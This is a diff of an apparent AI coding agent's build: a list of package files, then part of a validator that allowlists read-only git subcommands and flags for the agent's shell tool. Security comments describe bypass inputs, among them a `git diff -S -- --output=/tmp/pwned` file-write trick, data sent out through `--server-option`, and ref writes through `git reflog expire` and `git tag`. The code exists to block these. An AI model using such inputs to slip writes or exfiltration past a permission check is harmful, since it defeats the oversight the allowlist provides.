  1965. package/dist/src/utils/systemDirectories.js +51 -0
  1966. package/dist/src/utils/systemPrompt.js +91 -0
  1967. package/dist/src/utils/systemPromptType.js +9 -0
  1968. package/dist/src/utils/systemTheme.js +108 -0
  1969. package/dist/src/utils/systemThemeWatcher.js +16 -0
  1970. package/dist/src/utils/taggedId.js +49 -0
  1971. package/dist/src/utils/task/TaskOutput.js +320 -0
  1972. package/dist/src/utils/task/diskOutput.js +387 -0
  1973. package/dist/src/utils/task/framework.js +236 -0
  1974. package/dist/src/utils/task/outputFormatting.js +24 -0
  1975. package/dist/src/utils/task/sdkProgress.js +24 -0
  1976. package/dist/src/utils/tasks.js +672 -0
  1977. package/dist/src/utils/teamDiscovery.js +48 -0
  1978. package/dist/src/utils/teamMemoryOps.js +67 -0
  1979. package/dist/src/utils/teammate.js +237 -0
  1980. package/dist/src/utils/teammateContext.js +56 -0
  1981. package/dist/src/utils/teammateMailbox.js +793 -0
  1982. package/dist/src/utils/telemetry/betaSessionTracing.js +371 -0
  1983. package/dist/src/utils/telemetry/bigqueryExporter.js +181 -0
  1984. package/dist/src/utils/telemetry/events.js +57 -0
  1985. package/dist/src/utils/telemetry/instrumentation.js +617 -0
  1986. package/dist/src/utils/telemetry/logger.js +25 -0
  1987. package/dist/src/utils/telemetry/perfettoTracing.js +882 -0
  1988. package/dist/src/utils/telemetry/pluginTelemetry.js +157 -0
  1989. package/dist/src/utils/telemetry/sessionTracing.js +693 -0
  1990. package/dist/src/utils/telemetry/skillLoadedEvent.js +26 -0
  1991. package/dist/src/utils/telemetryAttributes.js +57 -0
  1992. package/dist/src/utils/teleport/api.js +299 -0
  1993. package/dist/src/utils/teleport/environmentSelection.js +55 -0
  1994. package/dist/src/utils/teleport/environments.js +84 -0
  1995. package/dist/src/utils/teleport/gitBundle.js +192 -0
  1996. package/dist/src/utils/teleport.js +1041 -0
  1997. package/dist/src/utils/tempfile.js +26 -0
  1998. package/dist/src/utils/terminal.js +105 -0
  1999. package/dist/src/utils/terminalPanel.js +155 -0
  2000. package/dist/src/utils/textHighlighting.js +113 -0
  2001. package/dist/src/utils/theme.js +525 -0
  2002. package/dist/src/utils/thinking.js +130 -0
  2003. package/dist/src/utils/timeouts.js +35 -0
  2004. package/dist/src/utils/tmuxSocket.js +373 -0
  2005. package/dist/src/utils/todo/types.js +9 -0
  2006. package/dist/src/utils/tokenBudget.js +62 -0
  2007. package/dist/src/utils/tokens.js +223 -0
  2008. package/dist/src/utils/toolErrors.js +101 -0
  2009. package/dist/src/utils/toolPool.js +63 -0
  2010. package/dist/src/utils/toolResultStorage.js +769 -0
  2011. package/dist/src/utils/toolSchemaCache.js +7 -0
  2012. package/dist/src/utils/toolSearch.js +551 -0
  2013. package/dist/src/utils/transcriptSearch.js +200 -0
  2014. package/dist/src/utils/treeify.js +111 -0
  2015. package/dist/src/utils/truncate.js +164 -0
  2016. package/dist/src/utils/udsClient.js +16 -0
  2017. package/dist/src/utils/udsMessaging.js +16 -0
  2018. package/dist/src/utils/ultraplan/ccrSession.js +264 -0
  2019. package/dist/src/utils/ultraplan/keyword.js +122 -0
  2020. package/dist/src/utils/ultraplan/prompt.txt +1 -0
  2021. package/dist/src/utils/unaryLogging.js +16 -0
  2022. package/dist/src/utils/undercover.js +89 -0
  2023. package/dist/src/utils/user.js +138 -0
  2024. package/dist/src/utils/userAgent.js +13 -0
  2025. package/dist/src/utils/userPromptKeywords.js +21 -0
  2026. package/dist/src/utils/uuid.js +22 -0
  2027. package/dist/src/utils/warningHandler.js +97 -0
  2028. package/dist/src/utils/which.js +75 -0
  2029. package/dist/src/utils/windowsPaths.js +150 -0
  2030. package/dist/src/utils/withResolvers.js +13 -0
  2031. package/dist/src/utils/words.js +793 -0
  2032. package/dist/src/utils/workloadContext.js +42 -0
  2033. package/dist/src/utils/worktree.js +1145 -0
  2034. package/dist/src/utils/worktreeModeEnabled.js +11 -0
  2035. package/dist/src/utils/xdg.js +52 -0
  2036. package/dist/src/utils/xml.js +15 -0
  2037. package/dist/src/utils/yaml.js +16 -0
  2038. package/dist/src/utils/zodToJsonSchema.js +19 -0
  2039. package/dist/src/vim/motions.js +73 -0
  2040. package/dist/src/vim/operators.js +401 -0
  2041. package/dist/src/vim/textObjects.js +153 -0
  2042. package/dist/src/vim/transitions.js +340 -0
  2043. package/dist/src/vim/types.js +93 -0
  2044. package/dist/src/voice/voiceModeEnabled.js +48 -0
  2045. package/dist/src/whatsapp/bridge.js +267 -0
  2046. package/dist/src/whatsapp/config.js +153 -0
  2047. package/dist/src/whatsapp/markdown.js +37 -0
  2048. package/dist/src/whatsapp/mirror.js +74 -0
  2049. package/dist/src/whatsapp/session.js +142 -0
  2050. package/package.json +2 -1
@@ -0,0 +1,1776 @@
1
+ /**
2
+ * Shared command validation maps for shell tools (BashTool, PowerShellTool, etc.).
3
+ *
4
+ * Exports complete command configuration maps that any shell tool can import:
5
+ * - GIT_READ_ONLY_COMMANDS: all git subcommands with safe flags and callbacks
6
+ * - GH_READ_ONLY_COMMANDS: ant-only gh CLI commands (network-dependent)
7
+ * - EXTERNAL_READONLY_COMMANDS: cross-shell commands that work in both bash and PowerShell
8
+ * - containsVulnerableUncPath: UNC path detection for credential leak prevention
9
+ * - outputLimits are in outputLimits.ts
10
+ */
11
+ import { getPlatform } from '../platform.js';
12
+ // ---------------------------------------------------------------------------
13
+ // Shared git flag groups
14
+ // ---------------------------------------------------------------------------
15
+ const GIT_REF_SELECTION_FLAGS = {
16
+ '--all': 'none',
17
+ '--branches': 'none',
18
+ '--tags': 'none',
19
+ '--remotes': 'none',
20
+ };
21
+ const GIT_DATE_FILTER_FLAGS = {
22
+ '--since': 'string',
23
+ '--after': 'string',
24
+ '--until': 'string',
25
+ '--before': 'string',
26
+ };
27
+ const GIT_LOG_DISPLAY_FLAGS = {
28
+ '--oneline': 'none',
29
+ '--graph': 'none',
30
+ '--decorate': 'none',
31
+ '--no-decorate': 'none',
32
+ '--date': 'string',
33
+ '--relative-date': 'none',
34
+ };
35
+ const GIT_COUNT_FLAGS = {
36
+ '--max-count': 'number',
37
+ '-n': 'number',
38
+ };
39
+ // Stat output flags - used in git log, show, diff
40
+ const GIT_STAT_FLAGS = {
41
+ '--stat': 'none',
42
+ '--numstat': 'none',
43
+ '--shortstat': 'none',
44
+ '--name-only': 'none',
45
+ '--name-status': 'none',
46
+ };
47
+ // Color output flags - used in git log, show, diff
48
+ const GIT_COLOR_FLAGS = {
49
+ '--color': 'none',
50
+ '--no-color': 'none',
51
+ };
52
+ // Patch display flags - used in git log, show
53
+ const GIT_PATCH_FLAGS = {
54
+ '--patch': 'none',
55
+ '-p': 'none',
56
+ '--no-patch': 'none',
57
+ '--no-ext-diff': 'none',
58
+ '-s': 'none',
59
+ };
60
+ // Author/committer filter flags - used in git log, reflog
61
+ const GIT_AUTHOR_FILTER_FLAGS = {
62
+ '--author': 'string',
63
+ '--committer': 'string',
64
+ '--grep': 'string',
65
+ };
66
+ // ---------------------------------------------------------------------------
67
+ // GIT_READ_ONLY_COMMANDS — complete map of all git subcommands
68
+ // ---------------------------------------------------------------------------
69
+ export const GIT_READ_ONLY_COMMANDS = {
70
+ 'git diff': {
71
+ safeFlags: {
72
+ ...GIT_STAT_FLAGS,
73
+ ...GIT_COLOR_FLAGS,
74
+ // Display and comparison flags
75
+ '--dirstat': 'none',
76
+ '--summary': 'none',
77
+ '--patch-with-stat': 'none',
78
+ '--word-diff': 'none',
79
+ '--word-diff-regex': 'string',
80
+ '--color-words': 'none',
81
+ '--no-renames': 'none',
82
+ '--no-ext-diff': 'none',
83
+ '--check': 'none',
84
+ '--ws-error-highlight': 'string',
85
+ '--full-index': 'none',
86
+ '--binary': 'none',
87
+ '--abbrev': 'number',
88
+ '--break-rewrites': 'none',
89
+ '--find-renames': 'none',
90
+ '--find-copies': 'none',
91
+ '--find-copies-harder': 'none',
92
+ '--irreversible-delete': 'none',
93
+ '--diff-algorithm': 'string',
94
+ '--histogram': 'none',
95
+ '--patience': 'none',
96
+ '--minimal': 'none',
97
+ '--ignore-space-at-eol': 'none',
98
+ '--ignore-space-change': 'none',
99
+ '--ignore-all-space': 'none',
100
+ '--ignore-blank-lines': 'none',
101
+ '--inter-hunk-context': 'number',
102
+ '--function-context': 'none',
103
+ '--exit-code': 'none',
104
+ '--quiet': 'none',
105
+ '--cached': 'none',
106
+ '--staged': 'none',
107
+ '--pickaxe-regex': 'none',
108
+ '--pickaxe-all': 'none',
109
+ '--no-index': 'none',
110
+ '--relative': 'string',
111
+ // Diff filtering
112
+ '--diff-filter': 'string',
113
+ // Short flags
114
+ '-p': 'none',
115
+ '-u': 'none',
116
+ '-s': 'none',
117
+ '-M': 'none',
118
+ '-C': 'none',
119
+ '-B': 'none',
120
+ '-D': 'none',
121
+ '-l': 'none',
122
+ // SECURITY: -S/-G/-O take REQUIRED string arguments (pickaxe search,
123
+ // pickaxe regex, orderfile). Previously 'none' caused a parser
124
+ // differential with git: `git diff -S -- --output=/tmp/pwned` —
125
+ // validator sees -S as no-arg → advances 1 token → breaks on `--` →
126
+ // --output unchecked. git sees -S requires arg → consumes `--` as the
127
+ // pickaxe string (standard getopt: required-arg options consume next
128
+ // argv unconditionally, BEFORE the top-level `--` check) → cursor at
129
+ // --output=... → parses as long option → ARBITRARY FILE WRITE.
130
+ // git log config at line ~207 correctly has -S/-G as 'string'.
131
+ '-S': 'string',
132
+ '-G': 'string',
133
+ '-O': 'string',
134
+ '-R': 'none',
135
+ },
136
+ },
137
+ 'git log': {
138
+ safeFlags: {
139
+ ...GIT_LOG_DISPLAY_FLAGS,
140
+ ...GIT_REF_SELECTION_FLAGS,
141
+ ...GIT_DATE_FILTER_FLAGS,
142
+ ...GIT_COUNT_FLAGS,
143
+ ...GIT_STAT_FLAGS,
144
+ ...GIT_COLOR_FLAGS,
145
+ ...GIT_PATCH_FLAGS,
146
+ ...GIT_AUTHOR_FILTER_FLAGS,
147
+ // Additional display flags
148
+ '--abbrev-commit': 'none',
149
+ '--full-history': 'none',
150
+ '--dense': 'none',
151
+ '--sparse': 'none',
152
+ '--simplify-merges': 'none',
153
+ '--ancestry-path': 'none',
154
+ '--source': 'none',
155
+ '--first-parent': 'none',
156
+ '--merges': 'none',
157
+ '--no-merges': 'none',
158
+ '--reverse': 'none',
159
+ '--walk-reflogs': 'none',
160
+ '--skip': 'number',
161
+ '--max-age': 'number',
162
+ '--min-age': 'number',
163
+ '--no-min-parents': 'none',
164
+ '--no-max-parents': 'none',
165
+ '--follow': 'none',
166
+ // Commit traversal flags
167
+ '--no-walk': 'none',
168
+ '--left-right': 'none',
169
+ '--cherry-mark': 'none',
170
+ '--cherry-pick': 'none',
171
+ '--boundary': 'none',
172
+ // Ordering flags
173
+ '--topo-order': 'none',
174
+ '--date-order': 'none',
175
+ '--author-date-order': 'none',
176
+ // Format control
177
+ '--pretty': 'string',
178
+ '--format': 'string',
179
+ // Diff filtering
180
+ '--diff-filter': 'string',
181
+ // Pickaxe search (find commits that add/remove string)
182
+ '-S': 'string',
183
+ '-G': 'string',
184
+ '--pickaxe-regex': 'none',
185
+ '--pickaxe-all': 'none',
186
+ },
187
+ },
188
+ 'git show': {
189
+ safeFlags: {
190
+ ...GIT_LOG_DISPLAY_FLAGS,
191
+ ...GIT_STAT_FLAGS,
192
+ ...GIT_COLOR_FLAGS,
193
+ ...GIT_PATCH_FLAGS,
194
+ // Additional display flags
195
+ '--abbrev-commit': 'none',
196
+ '--word-diff': 'none',
197
+ '--word-diff-regex': 'string',
198
+ '--color-words': 'none',
199
+ '--pretty': 'string',
200
+ '--format': 'string',
201
+ '--first-parent': 'none',
202
+ '--raw': 'none',
203
+ // Diff filtering
204
+ '--diff-filter': 'string',
205
+ // Short flags
206
+ '-m': 'none',
207
+ '--quiet': 'none',
208
+ },
209
+ },
210
+ 'git shortlog': {
211
+ safeFlags: {
212
+ ...GIT_REF_SELECTION_FLAGS,
213
+ ...GIT_DATE_FILTER_FLAGS,
214
+ // Summary options
215
+ '-s': 'none',
216
+ '--summary': 'none',
217
+ '-n': 'none',
218
+ '--numbered': 'none',
219
+ '-e': 'none',
220
+ '--email': 'none',
221
+ '-c': 'none',
222
+ '--committer': 'none',
223
+ // Grouping
224
+ '--group': 'string',
225
+ // Formatting
226
+ '--format': 'string',
227
+ // Filtering
228
+ '--no-merges': 'none',
229
+ '--author': 'string',
230
+ },
231
+ },
232
+ 'git reflog': {
233
+ safeFlags: {
234
+ ...GIT_LOG_DISPLAY_FLAGS,
235
+ ...GIT_REF_SELECTION_FLAGS,
236
+ ...GIT_DATE_FILTER_FLAGS,
237
+ ...GIT_COUNT_FLAGS,
238
+ ...GIT_AUTHOR_FILTER_FLAGS,
239
+ },
240
+ // SECURITY: Block `git reflog expire` (positional subcommand) — it writes
241
+ // to .git/logs/** by expiring reflog entries. `git reflog delete` similarly
242
+ // writes. Only `git reflog` (bare = show) and `git reflog show` are safe.
243
+ // The positional-arg fallthrough at ~:1730 would otherwise accept `expire`
244
+ // as a non-flag arg, and `--all` is in GIT_REF_SELECTION_FLAGS → passes.
245
+ additionalCommandIsDangerousCallback: (_rawCommand, args) => {
246
+ // Block known write-capable subcommands: expire, delete, exists.
247
+ // Allow: `show`, ref names (HEAD, refs/*, branch names).
248
+ // The subcommand (if any) is the first positional arg. Subsequent
249
+ // positionals after `show` or after flags are ref names (safe).
250
+ const DANGEROUS_SUBCOMMANDS = new Set(['expire', 'delete', 'exists']);
251
+ for (const token of args) {
252
+ if (!token || token.startsWith('-'))
253
+ continue;
254
+ // First non-flag positional: check if it's a dangerous subcommand.
255
+ // If it's `show` or a ref name like `HEAD`/`refs/...`, safe.
256
+ if (DANGEROUS_SUBCOMMANDS.has(token)) {
257
+ return true; // Dangerous subcommand — writes to .git/logs/**
258
+ }
259
+ // First positional is safe (show/HEAD/ref) — subsequent are ref args
260
+ return false;
261
+ }
262
+ return false; // No positional = bare `git reflog` = safe (shows reflog)
263
+ },
264
+ },
265
+ 'git stash list': {
266
+ safeFlags: {
267
+ ...GIT_LOG_DISPLAY_FLAGS,
268
+ ...GIT_REF_SELECTION_FLAGS,
269
+ ...GIT_COUNT_FLAGS,
270
+ },
271
+ },
272
+ 'git ls-remote': {
273
+ safeFlags: {
274
+ // Branch/tag filtering flags
275
+ '--branches': 'none',
276
+ '-b': 'none',
277
+ '--tags': 'none',
278
+ '-t': 'none',
279
+ '--heads': 'none',
280
+ '-h': 'none',
281
+ '--refs': 'none',
282
+ // Output control flags
283
+ '--quiet': 'none',
284
+ '-q': 'none',
285
+ '--exit-code': 'none',
286
+ '--get-url': 'none',
287
+ '--symref': 'none',
288
+ // Sorting flags
289
+ '--sort': 'string',
290
+ // Protocol flags
291
+ // SECURITY: --server-option and -o are INTENTIONALLY EXCLUDED. They
292
+ // transmit an arbitrary attacker-controlled string to the remote git
293
+ // server in the protocol v2 capability advertisement. This is a network
294
+ // WRITE primitive (sending data to remote) on what is supposed to be a
295
+ // read-only command. Even without command substitution (which is caught
296
+ // elsewhere), `--server-option="sensitive-data"` exfiltrates the value
297
+ // to whatever `origin` points to. The read-only path should never enable
298
+ // network writes.
299
+ },
300
+ },
301
+ 'git status': {
302
+ safeFlags: {
303
+ // Output format flags
304
+ '--short': 'none',
305
+ '-s': 'none',
306
+ '--branch': 'none',
307
+ '-b': 'none',
308
+ '--porcelain': 'none',
309
+ '--long': 'none',
310
+ '--verbose': 'none',
311
+ '-v': 'none',
312
+ // Untracked files handling
313
+ '--untracked-files': 'string',
314
+ '-u': 'string',
315
+ // Ignore options
316
+ '--ignored': 'none',
317
+ '--ignore-submodules': 'string',
318
+ // Column display
319
+ '--column': 'none',
320
+ '--no-column': 'none',
321
+ // Ahead/behind info
322
+ '--ahead-behind': 'none',
323
+ '--no-ahead-behind': 'none',
324
+ // Rename detection
325
+ '--renames': 'none',
326
+ '--no-renames': 'none',
327
+ '--find-renames': 'string',
328
+ '-M': 'string',
329
+ },
330
+ },
331
+ 'git blame': {
332
+ safeFlags: {
333
+ ...GIT_COLOR_FLAGS,
334
+ // Line range
335
+ '-L': 'string',
336
+ // Output format
337
+ '--porcelain': 'none',
338
+ '-p': 'none',
339
+ '--line-porcelain': 'none',
340
+ '--incremental': 'none',
341
+ '--root': 'none',
342
+ '--show-stats': 'none',
343
+ '--show-name': 'none',
344
+ '--show-number': 'none',
345
+ '-n': 'none',
346
+ '--show-email': 'none',
347
+ '-e': 'none',
348
+ '-f': 'none',
349
+ // Date formatting
350
+ '--date': 'string',
351
+ // Ignore whitespace
352
+ '-w': 'none',
353
+ // Ignore revisions
354
+ '--ignore-rev': 'string',
355
+ '--ignore-revs-file': 'string',
356
+ // Move/copy detection
357
+ '-M': 'none',
358
+ '-C': 'none',
359
+ '--score-debug': 'none',
360
+ // Abbreviation
361
+ '--abbrev': 'number',
362
+ // Other options
363
+ '-s': 'none',
364
+ '-l': 'none',
365
+ '-t': 'none',
366
+ },
367
+ },
368
+ 'git ls-files': {
369
+ safeFlags: {
370
+ // File selection
371
+ '--cached': 'none',
372
+ '-c': 'none',
373
+ '--deleted': 'none',
374
+ '-d': 'none',
375
+ '--modified': 'none',
376
+ '-m': 'none',
377
+ '--others': 'none',
378
+ '-o': 'none',
379
+ '--ignored': 'none',
380
+ '-i': 'none',
381
+ '--stage': 'none',
382
+ '-s': 'none',
383
+ '--killed': 'none',
384
+ '-k': 'none',
385
+ '--unmerged': 'none',
386
+ '-u': 'none',
387
+ // Output format
388
+ '--directory': 'none',
389
+ '--no-empty-directory': 'none',
390
+ '--eol': 'none',
391
+ '--full-name': 'none',
392
+ '--abbrev': 'number',
393
+ '--debug': 'none',
394
+ '-z': 'none',
395
+ '-t': 'none',
396
+ '-v': 'none',
397
+ '-f': 'none',
398
+ // Exclude patterns
399
+ '--exclude': 'string',
400
+ '-x': 'string',
401
+ '--exclude-from': 'string',
402
+ '-X': 'string',
403
+ '--exclude-per-directory': 'string',
404
+ '--exclude-standard': 'none',
405
+ // Error handling
406
+ '--error-unmatch': 'none',
407
+ // Recursion
408
+ '--recurse-submodules': 'none',
409
+ },
410
+ },
411
+ 'git config --get': {
412
+ safeFlags: {
413
+ // No additional flags needed - just reading config values
414
+ '--local': 'none',
415
+ '--global': 'none',
416
+ '--system': 'none',
417
+ '--worktree': 'none',
418
+ '--default': 'string',
419
+ '--type': 'string',
420
+ '--bool': 'none',
421
+ '--int': 'none',
422
+ '--bool-or-int': 'none',
423
+ '--path': 'none',
424
+ '--expiry-date': 'none',
425
+ '-z': 'none',
426
+ '--null': 'none',
427
+ '--name-only': 'none',
428
+ '--show-origin': 'none',
429
+ '--show-scope': 'none',
430
+ },
431
+ },
432
+ // NOTE: 'git remote show' must come BEFORE 'git remote' so longer patterns are matched first
433
+ 'git remote show': {
434
+ safeFlags: {
435
+ '-n': 'none',
436
+ },
437
+ // Only allow optional -n, then one alphanumeric remote name
438
+ additionalCommandIsDangerousCallback: (_rawCommand, args) => {
439
+ // Filter out the known safe flag
440
+ const positional = args.filter(a => a !== '-n');
441
+ // Must have exactly one positional arg that looks like a remote name
442
+ if (positional.length !== 1)
443
+ return true;
444
+ return !/^[a-zA-Z0-9_-]+$/.test(positional[0]);
445
+ },
446
+ },
447
+ 'git remote': {
448
+ safeFlags: {
449
+ '-v': 'none',
450
+ '--verbose': 'none',
451
+ },
452
+ // Only allow bare 'git remote' or 'git remote -v/--verbose'
453
+ additionalCommandIsDangerousCallback: (_rawCommand, args) => {
454
+ // All args must be known safe flags; no positional args allowed
455
+ return args.some(a => a !== '-v' && a !== '--verbose');
456
+ },
457
+ },
458
+ // git merge-base is a read-only command for finding common ancestors
459
+ 'git merge-base': {
460
+ safeFlags: {
461
+ '--is-ancestor': 'none', // Check if first commit is ancestor of second
462
+ '--fork-point': 'none', // Find fork point
463
+ '--octopus': 'none', // Find best common ancestors for multiple refs
464
+ '--independent': 'none', // Filter independent refs
465
+ '--all': 'none', // Output all merge bases
466
+ },
467
+ },
468
+ // git rev-parse is a pure read command — resolves refs to SHAs, queries repo paths
469
+ 'git rev-parse': {
470
+ safeFlags: {
471
+ // SHA resolution and verification
472
+ '--verify': 'none', // Verify that exactly one argument is a valid object name
473
+ '--short': 'string', // Abbreviate output (optional length via =N)
474
+ '--abbrev-ref': 'none', // Symbolic name of ref
475
+ '--symbolic': 'none', // Output symbolic names
476
+ '--symbolic-full-name': 'none', // Full symbolic name including refs/heads/ prefix
477
+ // Repository path queries (all read-only)
478
+ '--show-toplevel': 'none', // Absolute path of top-level directory
479
+ '--show-cdup': 'none', // Path components to traverse up to top-level
480
+ '--show-prefix': 'none', // Relative path from top-level to cwd
481
+ '--git-dir': 'none', // Path to .git directory
482
+ '--git-common-dir': 'none', // Path to common directory (.git in main worktree)
483
+ '--absolute-git-dir': 'none', // Absolute path to .git directory
484
+ '--show-superproject-working-tree': 'none', // Superproject root (if submodule)
485
+ // Boolean queries
486
+ '--is-inside-work-tree': 'none',
487
+ '--is-inside-git-dir': 'none',
488
+ '--is-bare-repository': 'none',
489
+ '--is-shallow-repository': 'none',
490
+ '--is-shallow-update': 'none',
491
+ '--path-prefix': 'none',
492
+ },
493
+ },
494
+ // git rev-list is read-only commit enumeration — lists/counts commits reachable from refs
495
+ 'git rev-list': {
496
+ safeFlags: {
497
+ ...GIT_REF_SELECTION_FLAGS,
498
+ ...GIT_DATE_FILTER_FLAGS,
499
+ ...GIT_COUNT_FLAGS,
500
+ ...GIT_AUTHOR_FILTER_FLAGS,
501
+ // Counting
502
+ '--count': 'none', // Output commit count instead of listing
503
+ // Traversal control
504
+ '--reverse': 'none',
505
+ '--first-parent': 'none',
506
+ '--ancestry-path': 'none',
507
+ '--merges': 'none',
508
+ '--no-merges': 'none',
509
+ '--min-parents': 'number',
510
+ '--max-parents': 'number',
511
+ '--no-min-parents': 'none',
512
+ '--no-max-parents': 'none',
513
+ '--skip': 'number',
514
+ '--max-age': 'number',
515
+ '--min-age': 'number',
516
+ '--walk-reflogs': 'none',
517
+ // Output formatting
518
+ '--oneline': 'none',
519
+ '--abbrev-commit': 'none',
520
+ '--pretty': 'string',
521
+ '--format': 'string',
522
+ '--abbrev': 'number',
523
+ '--full-history': 'none',
524
+ '--dense': 'none',
525
+ '--sparse': 'none',
526
+ '--source': 'none',
527
+ '--graph': 'none',
528
+ },
529
+ },
530
+ // git describe is read-only — describes commits relative to the most recent tag
531
+ 'git describe': {
532
+ safeFlags: {
533
+ // Tag selection
534
+ '--tags': 'none', // Consider all tags, not just annotated
535
+ '--match': 'string', // Only consider tags matching the glob pattern
536
+ '--exclude': 'string', // Do not consider tags matching the glob pattern
537
+ // Output control
538
+ '--long': 'none', // Always output long format (tag-distance-ghash)
539
+ '--abbrev': 'number', // Abbreviate objectname to N hex digits
540
+ '--always': 'none', // Show uniquely abbreviated object as fallback
541
+ '--contains': 'none', // Find tag that comes after the commit
542
+ '--first-match': 'none', // Prefer tags closest to the tip (stops after first match)
543
+ '--exact-match': 'none', // Only output if an exact match (tag points at commit)
544
+ '--candidates': 'number', // Limit walk before selecting best candidates
545
+ // Suffix/dirty markers
546
+ '--dirty': 'none', // Append "-dirty" if working tree has modifications
547
+ '--broken': 'none', // Append "-broken" if repository is in invalid state
548
+ },
549
+ },
550
+ // git cat-file is read-only object inspection — displays type, size, or content of objects
551
+ // NOTE: --batch (without --check) is intentionally excluded — it reads arbitrary objects
552
+ // from stdin which could be exploited in piped commands to dump sensitive objects.
553
+ 'git cat-file': {
554
+ safeFlags: {
555
+ // Object query modes (all purely read-only)
556
+ '-t': 'none', // Print type of object
557
+ '-s': 'none', // Print size of object
558
+ '-p': 'none', // Pretty-print object contents
559
+ '-e': 'none', // Exit with zero if object exists, non-zero otherwise
560
+ // Batch mode — read-only check variant only
561
+ '--batch-check': 'none', // For each object on stdin, print type and size (no content)
562
+ // Output control
563
+ '--allow-undetermined-type': 'none',
564
+ },
565
+ },
566
+ // git for-each-ref is read-only ref iteration — lists refs with optional formatting and filtering
567
+ 'git for-each-ref': {
568
+ safeFlags: {
569
+ // Output formatting
570
+ '--format': 'string', // Format string using %(fieldname) placeholders
571
+ // Sorting
572
+ '--sort': 'string', // Sort by key (e.g., refname, creatordate, version:refname)
573
+ // Limiting
574
+ '--count': 'number', // Limit output to at most N refs
575
+ // Filtering
576
+ '--contains': 'string', // Only list refs that contain specified commit
577
+ '--no-contains': 'string', // Only list refs that do NOT contain specified commit
578
+ '--merged': 'string', // Only list refs reachable from specified commit
579
+ '--no-merged': 'string', // Only list refs NOT reachable from specified commit
580
+ '--points-at': 'string', // Only list refs pointing at specified object
581
+ },
582
+ },
583
+ // git grep is read-only — searches tracked files for patterns
584
+ 'git grep': {
585
+ safeFlags: {
586
+ // Pattern matching modes
587
+ '-e': 'string', // Pattern
588
+ '-E': 'none', // Extended regexp
589
+ '--extended-regexp': 'none',
590
+ '-G': 'none', // Basic regexp (default)
591
+ '--basic-regexp': 'none',
592
+ '-F': 'none', // Fixed strings
593
+ '--fixed-strings': 'none',
594
+ '-P': 'none', // Perl regexp
595
+ '--perl-regexp': 'none',
596
+ // Match control
597
+ '-i': 'none', // Ignore case
598
+ '--ignore-case': 'none',
599
+ '-v': 'none', // Invert match
600
+ '--invert-match': 'none',
601
+ '-w': 'none', // Word regexp
602
+ '--word-regexp': 'none',
603
+ // Output control
604
+ '-n': 'none', // Line number
605
+ '--line-number': 'none',
606
+ '-c': 'none', // Count
607
+ '--count': 'none',
608
+ '-l': 'none', // Files with matches
609
+ '--files-with-matches': 'none',
610
+ '-L': 'none', // Files without match
611
+ '--files-without-match': 'none',
612
+ '-h': 'none', // No filename
613
+ '-H': 'none', // With filename
614
+ '--heading': 'none',
615
+ '--break': 'none',
616
+ '--full-name': 'none',
617
+ '--color': 'none',
618
+ '--no-color': 'none',
619
+ '-o': 'none', // Only matching
620
+ '--only-matching': 'none',
621
+ // Context
622
+ '-A': 'number', // After context
623
+ '--after-context': 'number',
624
+ '-B': 'number', // Before context
625
+ '--before-context': 'number',
626
+ '-C': 'number', // Context
627
+ '--context': 'number',
628
+ // Boolean operators for multi-pattern
629
+ '--and': 'none',
630
+ '--or': 'none',
631
+ '--not': 'none',
632
+ // Scope control
633
+ '--max-depth': 'number',
634
+ '--untracked': 'none',
635
+ '--no-index': 'none',
636
+ '--recurse-submodules': 'none',
637
+ '--cached': 'none',
638
+ // Threads
639
+ '--threads': 'number',
640
+ // Quiet
641
+ '-q': 'none',
642
+ '--quiet': 'none',
643
+ },
644
+ },
645
+ // git stash show is read-only — displays diff of a stash entry
646
+ 'git stash show': {
647
+ safeFlags: {
648
+ ...GIT_STAT_FLAGS,
649
+ ...GIT_COLOR_FLAGS,
650
+ ...GIT_PATCH_FLAGS,
651
+ // Diff options
652
+ '--word-diff': 'none',
653
+ '--word-diff-regex': 'string',
654
+ '--diff-filter': 'string',
655
+ '--abbrev': 'number',
656
+ },
657
+ },
658
+ // git worktree list is read-only — lists linked working trees
659
+ 'git worktree list': {
660
+ safeFlags: {
661
+ '--porcelain': 'none',
662
+ '-v': 'none',
663
+ '--verbose': 'none',
664
+ '--expire': 'string',
665
+ },
666
+ },
667
+ 'git tag': {
668
+ safeFlags: {
669
+ // List mode flags
670
+ '-l': 'none',
671
+ '--list': 'none',
672
+ '-n': 'number',
673
+ '--contains': 'string',
674
+ '--no-contains': 'string',
675
+ '--merged': 'string',
676
+ '--no-merged': 'string',
677
+ '--sort': 'string',
678
+ '--format': 'string',
679
+ '--points-at': 'string',
680
+ '--column': 'none',
681
+ '--no-column': 'none',
682
+ '-i': 'none',
683
+ '--ignore-case': 'none',
684
+ },
685
+ // SECURITY: Block tag creation via positional arguments. `git tag foo`
686
+ // creates .git/refs/tags/foo (41-byte file write) — NOT read-only.
687
+ // This is identical semantics to `git branch foo` (which has the same
688
+ // callback below). Without this callback, validateFlags's default
689
+ // positional-arg fallthrough at ~:1730 accepts `mytag` as a non-flag arg,
690
+ // and git tag auto-approves. While the write is constrained (path limited
691
+ // to .git/refs/tags/, content is fixed HEAD SHA), it violates the
692
+ // read-only invariant and can pollute CI/CD tag-pattern matching or make
693
+ // abandoned commits reachable via `git tag foo <commit>`.
694
+ additionalCommandIsDangerousCallback: (_rawCommand, args) => {
695
+ // Safe uses: `git tag` (list), `git tag -l pattern` (list filtered),
696
+ // `git tag --contains <ref>` (list containing). A bare positional arg
697
+ // without -l/--list is a tag name to CREATE — dangerous.
698
+ const flagsWithArgs = new Set([
699
+ '--contains',
700
+ '--no-contains',
701
+ '--merged',
702
+ '--no-merged',
703
+ '--points-at',
704
+ '--sort',
705
+ '--format',
706
+ '-n',
707
+ ]);
708
+ let i = 0;
709
+ let seenListFlag = false;
710
+ let seenDashDash = false;
711
+ while (i < args.length) {
712
+ const token = args[i];
713
+ if (!token) {
714
+ i++;
715
+ continue;
716
+ }
717
+ // `--` ends flag parsing. All subsequent tokens are positional args,
718
+ // even if they start with `-`. `git tag -- -l` CREATES a tag named `-l`.
719
+ if (token === '--' && !seenDashDash) {
720
+ seenDashDash = true;
721
+ i++;
722
+ continue;
723
+ }
724
+ if (!seenDashDash && token.startsWith('-')) {
725
+ // Check for -l/--list (exact or in a bundle). `-li` bundles -l and
726
+ // -i — both 'none' type. Array.includes('-l') exact-matches, missing
727
+ // bundles like `-li`, `-il`. Check individual chars for short bundles.
728
+ if (token === '--list' || token === '-l') {
729
+ seenListFlag = true;
730
+ }
731
+ else if (token[0] === '-' &&
732
+ token[1] !== '-' &&
733
+ token.length > 2 &&
734
+ !token.includes('=') &&
735
+ token.slice(1).includes('l')) {
736
+ // Short-flag bundle like -li, -il containing 'l'
737
+ seenListFlag = true;
738
+ }
739
